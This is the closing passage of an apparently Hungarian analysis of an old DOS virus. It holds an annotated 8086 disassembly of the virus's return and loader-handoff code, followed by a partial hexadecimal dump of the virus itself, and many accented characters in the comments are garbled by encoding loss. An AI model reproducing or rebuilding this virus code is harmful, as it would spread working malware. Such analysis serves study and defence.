0416 8B07 MOV AX,[BX]
|
|||
|
0418 3D5224 CMP AX,2452 ;Azonos<6F>t<EFBFBD>
|
|||
|
041B 5B POP BX
|
|||
|
041C 750D JNZ 042B ;Ha nem T<>lt<6C>get<65>
|
|||
|
041E 8BC3 MOV AX,BX
|
|||
|
0420 059800 ADD AX,0098 ;AX=042B (A visszat<61>r<EFBFBD>sre mutat)
|
|||
|
0423 0E PUSH CS
|
|||
|
0424 50 PUSH AX
|
|||
|
0425 B80A01 MOV AX,010A ;T<>lt<6C>get<65> bel<65>p<EFBFBD>si pontja
|
|||
|
0428 06 PUSH ES
|
|||
|
0429 50 PUSH AX
|
|||
|
042A CB RETF
|
|||
|
|
|||
|
; Visszat<61>r<EFBFBD>s
|
|||
|
|
|||
|
042B 5E POP SI ;Regiszterek vissza
|
|||
|
042C 5F POP DI
|
|||
|
042D 1F POP DS
|
|||
|
042E 07 POP ES
|
|||
|
042F 5A POP DX
|
|||
|
0430 59 POP CX
|
|||
|
0431 5B POP BX
|
|||
|
0432 58 POP AX
|
|||
|
0433 C3 RET
|
|||
|
0434 0000 DW 0000 ;???
|
|||
|
|
|||
|
|
|||
|
A v<>rus hexa dumpja :
|
|||
|
|
|||
|
|
|||
|
0100 51 BA F9 02 FC 8B F2 81-C6 0A 00 BF 00 01 B9 03 Q...............
|
|||
|
0110 00 F3 A4 8B F2 B4 30 CD-21 3C 00 75 03 E9 C7 01 ......0.!<.u....
|
|||
|
0120 06 B4 2F CD 21 89 9C 00-00 8C 84 02 00 E8 58 02 ../.!.........X.
|
|||
|
0130 07 BA 5F 00 90 03 D6 B4-1A CD 21 06 56 8E 06 2C .._.......!.V..,
|
|||
|
0140 00 BF 00 00 5E 56 81 C6-1A 00 AC B9 00 80 F2 AE ....^V..........
|
|||
|
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0370 21 00 00 10 00 00 54 45-53 5A 54 2E 43 4F 4D 00 !.....TESZT.COM.
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